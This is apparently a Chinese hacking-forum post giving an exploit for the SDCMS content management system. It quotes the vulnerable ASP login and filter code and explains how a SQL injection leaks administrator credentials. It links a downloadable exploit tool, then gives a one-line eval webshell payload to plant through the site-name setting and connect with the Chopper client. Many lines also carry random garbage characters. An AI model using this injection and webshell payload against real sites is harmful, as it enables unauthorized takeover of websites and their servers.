SDCMS通杀漏洞利用工具及提权拿SHELL

admin

作者：T00LS 鬼哥
7 O7 P$ m2 H! K/ |9 C漏洞文件：后台目录/index.asp
9 u" ~1 z, v6 M
# Q5 u/ @4 P. b/ {# NSub Check
% I2 u0 s" P: E6 o% ~+ L2 a3 \% I    Dim username,password,code,getcode,Rs
    IF Check_post Then Echo "1禁止从外部提交数据!":Exit Sub
8 a3 i$ a+ v: Y/ b& y' |! i2 O    username=FilterText(Trim(Request.Form("username")),1)
! ^4 u) S) Y3 v# b! s% N. B    password=FilterText(Trim(Request.Form("password")),1)
    code=Trim(Request.Form("yzm"))
    getcode=Session("SDCMSCode")
    IF errnum>=loginnum Then Echo "系统已禁止您今日再登录":died
    IF code="" Then Alert "验证码不能为空！","javascript:history.go(-1)"ied
' J0 j% i% R4 ?3 ], ?    IF code<>"" And Not Isnumeric(code) Then Alert "验证码必须为数字！","javascript:history.go(-1)"ied
. s' {8 f! x3 u- C) z5 z    IF code<>getcode Then Alert "验证码错误！","javascript:history.go(-1)"ied
    IF username="" or password="" Then
; [8 S3 ^6 C# x. c1 c+ {        Echo "用户名或密码不能为空"ied
0 [& C5 ?. k" I  A    Else
        Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'")
; h5 g" q- |$ @/ @! |. t        IF Rs.Eof Then
) c! b. E: V, X1 X0 n$ {  f+ W            AddLog username,GetIp,"登录失败",1
            Echo "用户名或密码错误,今日还有 "&loginnum-errnum&" 次机会"
        Else
% u+ J; z4 F; s* @/ z% O2 a5 I0 j            Add_Cookies "sdcms_id",Rs(0)
            Add_Cookies "sdcms_name",username
8 C: r& y* z/ v            Add_Cookies "sdcms_pwd",Rs(2)
- C4 A; l. k6 Y  ]( B            Add_Cookies "sdcms_admin",Rs(3)
            Add_Cookies "sdcms_alllever",Rs(4)
            Add_Cookies "sdcms_infolever",Rs(5)
            Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&"")
            AddLog username,GetIp,"登录成功",1
            '自动删除30天前的Log记录
            IF Sdcms_DataType Then
                Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30")
            Else
/ d7 j: b% w9 T1 k                Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30")
            End IF
; [7 b9 M! I( P# Y, y            Go("sdcms_index.asp")
        End IF
        Rs.Close
        Set Rs=Nothing
    End IF
End Sub
) @* F: R6 S- G( m+ s
’我们可以看到username是通过FilterText来过滤的。我们看看FilterText的代码

6 k2 g6 t% y& W& M% e$ D- e/ y. ^& HFunction FilterText(ByVal t0,ByVal t1)
    IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function
    t0=Trim(t0)
    Select Case t1
2 X" I% H1 m" r( _# y        Case "1"
1 g# ^5 c* h, L% u            t0=Replace(t0,Chr(32),"")
6 f) D7 ^7 Y- S, {# R- z/ o8 ~& F            t0=Replace(t0,Chr(13),"")
            t0=Replace(t0,Chr(10)&Chr(10),"")
# ^3 z$ v, r! A! h$ e            t0=Replace(t0,Chr(10),"")
        Case "2"
' A5 f, ^' v1 Y$ b            t0=Replace(t0,Chr(8),"")'回格
            t0=Replace(t0,Chr(9),"")'tab(水平制表符)
            t0=Replace(t0,Chr(10),"")'换行
  l+ Q  \) V, V' H# T            t0=Replace(t0,Chr(11),"")'tab(垂直制表符)
, V& n8 E2 l& c" I! [9 I& B" j6 L" X8 j            t0=Replace(t0,Chr(12),"")'换页
, z+ q2 F% H( R) Z: E- @# `            t0=Replace(t0,Chr(13),"")'回车 chr(13)&chr(10) 回车和换行的组合
* x! E) B% k' V0 X) ?            t0=Replace(t0,Chr(22),"")
* X5 j$ Y: l; [7 N& v            t0=Replace(t0,Chr(32),"")'空格 SPACE
' }# e; a5 o* I/ Q3 o3 f  l% m            t0=Replace(t0,Chr(33),"")'!
; U9 |* j. A4 @  q' V+ Y8 Q            t0=Replace(t0,Chr(34),"")'"
            t0=Replace(t0,Chr(35),"")'#
1 p; W  F+ w. m1 d; N            t0=Replace(t0,Chr(36),"")'$
            t0=Replace(t0,Chr(37),"")'%
            t0=Replace(t0,Chr(38),"")'&
8 F6 \- u4 g% b1 a5 O* C. n! o            t0=Replace(t0,Chr(39),"")''
            t0=Replace(t0,Chr(40),"")'(
! e) x1 M( _6 y4 R) X% }            t0=Replace(t0,Chr(41),"")')
            t0=Replace(t0,Chr(42),"")'*
            t0=Replace(t0,Chr(43),"")'+
            t0=Replace(t0,Chr(44),"")',
! r3 O; N1 U6 p+ m. o9 [            t0=Replace(t0,Chr(45),"")'-
7 T/ I" I. U  X9 D3 P            t0=Replace(t0,Chr(46),"")'.
            t0=Replace(t0,Chr(47),"")'/
            t0=Replace(t0,Chr(58),"")':
            t0=Replace(t0,Chr(59),"")';
            t0=Replace(t0,Chr(60),"")'<             t0=Replace(t0,Chr(61),"")'=             t0=Replace(t0,Chr(62),"")'>
            t0=Replace(t0,Chr(63),"")'?
            t0=Replace(t0,Chr(64),"")'@
; U: l/ Z7 @( \            t0=Replace(t0,Chr(91),"")'\
            t0=Replace(t0,Chr(92),"")'\
            t0=Replace(t0,Chr(93),"")']
            t0=Replace(t0,Chr(94),"")'^
! n+ w. T4 D1 v            t0=Replace(t0,Chr(95),"")'_
            t0=Replace(t0,Chr(96),"")'`
( s, c" @9 c2 c2 L9 Y; A  v            t0=Replace(t0,Chr(123),"")'{
            t0=Replace(t0,Chr(124),"")'|
# s: W$ l' q, `: Z            t0=Replace(t0,Chr(125),"")'}
            t0=Replace(t0,Chr(126),"")'~
( i* a, S5 f8 @6 b( }; P; t    Case Else
        t0=Replace(t0, "&", "&")
6 ~2 j5 U' K" ]+ t3 n8 N        t0=Replace(t0, "'", "'")
        t0=Replace(t0, """", """)
        t0=Replace(t0, "<", "<")         t0=Replace(t0, ">", ">")
/ U7 A$ [6 g# @& l2 U! y0 B    End Select
, K% Q. m6 m: }  ?+ M: \+ b    IF Instr(Lcase(t0),"expression")>0 Then
        t0=Replace(t0,"expression","e&shy;xpression", 1, -1, 0)
; f% r2 U# z, x3 L0 Q    End If
% e6 l  `/ w" c. E! [+ y7 a6 v    FilterText=t0
End Function

6 D0 J* e3 O- Z- Y3 p. X看到没。直接参数是1 只过滤
                        t0=Replace(t0,Chr(32)," ")
                        t0=Replace(t0,Chr(13),"")
7 c" O/ \2 ]$ [" K' H                        t0=Replace(t0,Chr(10)&Chr(10),"
")
* ?# E6 C8 ^4 ~                        t0=Replace(t0,Chr(10),"
- `( I7 A  n) @+ m$ D1 U")
5 o8 p: M4 i# m漏洞导致可以直接拿到后台帐号密码。SDCMS默认后台地址/admin/如果站长改了后台路径,那么请自行查找!
EXP利用工具下载 (此工具只能在XP上运行):sdcms-EXP
$ A, ?2 [* T( y
* N& B( M1 o) g, m; l% e7 M测试:
; L$ K- e$ O4 e5 o$ T8 F! T

现在输入工具上验证码,然后点OK


看到我们直接进入后台管理界面了,呵呵!
0 z8 l+ U4 s$ E5 C2 l8 F( S2 \


0 e# g4 w! d3 |, z' D这样直接进入后台了。。。。
- Z5 [! S: P( l* M" }( {


SDCMS提权:

方法1：访问：/后台目录/sdcms_set.asp 在 网站名称：后面加个 “:eval(request(Chr(63)))’  即可，直接写一句话进去。 写入到/inc/Const.asp 一句话连接密码是?
! \+ `+ l& c& `1 X) T
# A8 L: a7 a$ V8 ^1 R
# a, F2 q, C$ A$ Y- m* d( E) {- x
OK,现在用菜刀连接下!

$ X( Z# g; S! j

: f6 u, r9 i3 B# U* b- Z

: o9 {0 S3 q2 E2 x